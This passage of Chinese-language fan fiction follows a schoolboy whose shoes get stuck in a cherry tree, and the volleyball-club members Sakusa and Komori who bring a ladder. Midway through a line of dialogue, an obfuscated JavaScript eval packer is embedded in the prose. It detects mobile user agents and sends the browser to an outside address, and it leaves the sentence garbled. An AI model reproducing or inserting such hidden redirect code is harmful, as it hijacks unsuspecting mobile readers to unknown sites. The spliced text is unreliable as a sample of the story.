北村咬着牙,将手里的另一只鞋瞄准再次投了上去,那只鞋运气比较好,挂在了更高位置的樱花树树枝上。 北村弯腰脱下自己的鞋,转过头看向小池:“把你的外套给我!” “不要,不要用我的外套包你的臭鞋!”小池抱着自己的手臂,坚决抵制。 “快点啊!” “不要!” 两个人围着如月团团转,如月却仰头看着树上的鞋子,思考着自己今天怎么回去,难道穿室内鞋吗? “那个,你们在这里做什么?” 抱着水箱的排球部经理看着体育馆附近的三人好奇的问了一句。 “你好,我们的东西不小心被扔到上面了,可以借一个梯子吗?”如月看着来人,满脸得救了的表情。 “可以是可以,但需要你们等下一下可以吗,我一会儿会把梯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15432989|169249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送来的。” “不用不用,他们可以去拿的。” “很抱歉,我们体育馆外人大概不能进入。”经理有些不太好意思,不过如月能理解,只是北村看起来有些不忿。 小池十分懂事的上去帮经理抱起了水箱,让后将人送到了排球馆门口,北村坐在树下的草地上,然后无所事事的躺下,视线里除了粉白色的樱花还有自己的外套和瑞树的鞋子。 “呐,我是不是很蠢啊,为了点小事拉不下面子。” “是的。” “别这么理所当然的赞同啊。” “可是现在踩在手帕上的人是我诶。”如月抱怨道。 北村假装没听到。 送梯子来的是排球部两个一年级的成员,小池和其中一个豆豆眉男生一起搬着梯子,彼此之间时不时交谈几句。 如月瑞树的发丝上点缀着几朵花瓣,在树下站的挺拔,他笑着在跟躺在草地上的少年说着什么。 嘴唇张张合合的,眼神里带着不属于这个年纪的沉静。 佐久早站在另一棵树下看着他,直到对方发现自己。 如月侧头看向他,礼貌的点了点头,这时佐久早才注意到他踩在一方手帕上。 无处可跑,也无处可去。 “经理都跟我们说了,梯子我们搬过来了。” 豆豆眉少年也是一年级,如月记得他的样子,至于另一位,是他的同班同学佐久早圣臣,只不过他们并不熟悉。 梯子支起来,小池爬上去将足球、鞋子和脏兮兮的外套都拿了下来。 瑞树将鞋子穿好,终于是松了口气。 “真是太感谢了,还以为今天要穿室内鞋回去了呢。”如月向古森元也表达着自己的感谢,北村也不好意思的说了句谢谢,他也没想到居然是排球部的正选将梯子送来的。 “不用谢,因为是小臣的同学嘛,帮忙也是应该的。” 小臣?佐久早圣臣? 如月转头看向佐久早圣臣,却看到了他看向自己的眼睛。 黑沉沉的,那种颜色浓郁的像是某种昂贵的黑色宝石,他看起来气质有些阴郁,却不会让人感到讨厌。 “谢谢你们,佐久早君,还有……” “古森,我叫古森元也。” “嗯,古森君,下次比赛我会去跟你们加油的,虽然并不少我一个。” “不不不,你能来真是太好了。” 那个人正在和自己表兄弟聊着天,看样子他不知道自己的头发上和肩膀上趴着柔软的花瓣。 对着元也微笑的如月缓缓转头看了看他,笑容没有收回去。 佐久早却收回了视线,转身离开了,古森元也看着佐久早离开的背影,跟几人告别,扛着梯子就回去了,北村想上去帮忙,却被古森拒绝了。 不算太重的梯子,即便是一个人也能够轻松扛起来的。 古森的脚步跟在佐久早身后,消失在这片粉白色的树林里。 如月看着他们离开的方向眼中带着些许疑惑,总感觉佐久早看他的眼神有些奇怪……可能是错觉吧。 “啊,瑞树,你的身上落了好多花瓣啊。” “你头上也有,肩膀上也是,衬衫上还有灰尘,好脏啊。” 一阵风过,花瓣簌簌的落下,像是飞翔在油画布里的鸟。 “排球部最近有比赛吗?”如月微微仰着头,看着罩在头顶的樱花树枝 “不知道,找后援队问问吧。”小池说道。 “真要去吗?”北村说。 “嗯,已经答应了别人,更何况我们学校的排球不是很强吗,我想去看看,总觉得会发生某些改变我人生的事情。” “哈哈哈,只是排球而已,你又不是排球部的,怎么可能会改变你的人生呢?”北村抱着足球笑着说道。 小池摸了摸下巴,思考之后开口道:“说不定如月会在看比赛的时候邂逅自己的天命之女,然后展开一段深刻的恋爱。” “诶?概率有多大?我也要去。” “开玩笑啦。” “恋爱啊……”如月轻轻叹了口气。 总感觉这种话题跟他没什么关系啊。